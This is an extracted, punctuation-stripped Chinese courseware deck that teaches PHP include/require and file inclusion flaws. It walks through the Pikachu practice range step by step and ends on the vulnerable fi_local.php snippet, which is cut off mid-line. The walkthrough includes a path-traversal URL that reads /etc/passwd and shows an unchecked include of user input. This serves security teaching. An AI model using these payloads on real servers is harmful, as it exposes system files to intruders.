基本信息
文件名称:计算机网络攻击与防护第十二章实战网络攻防67课件.pptx
文件大小:3.94 MB
总页数:14 页
更新时间:2025-06-12
总字数:约2.39千字
文档摘要

;;;PHPinclude和require语句

在PHP中,您可以在服务器执行PHP文件之前在该文件中插入一个文件的内容。

include和require语句用于在执行流中插入写在其他文件中的有用的代码。

include和require除了处理错误的方式不同之外,在其他方面都是相同的:

require生成一个致命错误(E_COMPILE_ERROR),在错误发生后脚本会停止执行。

include生成一个警告(E_WARNING),在错误发生后脚本会继续执行。

语法格式:

includefilename;

requirefilename;;案例:

我们有一个已经被定义变量的包含文件(var.php):

?php

$color=‘black;

$plane=‘BY;

?

这些变量可以用在调用文件中:

html

head

metacharset=utf-8

titleFI/title

/head

body

h1homepage!/h1

?phpincludevar.php;echoIhavea$color$plane;//IhaveablackBY?

/body

/html

;FileInclusion(文件包含漏洞)一般分为种类型:

1.本地文件包含漏洞:

仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的.

2.远程文件包含漏洞:

能够通过URL地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码。

;步骤1:打开Pikachu靶场

?选择一个Firefox浏览器或者GoogleChrome浏览器,并使用它来访问Pikachu靶场的URL:/pikachu-master/vul/fileinclude/fi_local.php

在靶场平台网站的FileInclude栏目”本地文件包含”页面,

根据提示whichNBAplayerdoyoulike?

选择一个列表中选项

点击SubmitQuery按钮,

返回一个正常的查询结果。;步骤2:修改文件名(filename),读取其他列表文件

修改URL读取列表中的其他选项(文件file.php)

复制URL

/pikachu-master/vul/fileinclude/fi_local.php?filename=file1.phpsubmit=Submit+Query

修改filename=file1.php为filename=file3.php,点击确定从Kobe跳转到Kevin

/pikachu-master/vul/fileinclude/fi_local.php?filename=file3.phpsubmit=Submit+Query;步骤3:改变路径(../),读取其他列表文件

我们还可以修改路径,读取其他目录下的文件

复制URL

/pikachu-master/vul/fileinclude/fi_local.php?filename=file3.phpsubmit=Submit+Query

修改filename=file3.php为filename=../../../index.php,点击确定跳转到index.php

/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../index.phpsubmit=Submit+Query;步骤4(Linux)改变路径,读取其他列表文件

如果后台是Linux操作系统,可以查看/etc/passwd。

复制URL

/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../index.phpsubmit=Submit+Query

修改../../../index.php为??../../../../../../../../etc/passwd??。点击确定查询到/etc/passwd文件数据。

/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../../../../../../etc/passwdsubmit=Submit+Query;通过查看fi_local.php的代码片段。

我们发现问题,变量传递被直接包含,没做任何的安全限制

FI的fi_local.php的代码片段:

if(isset($_GET[submit])$_GET[filename]!=null){

$filename=$_GET[filename];

includein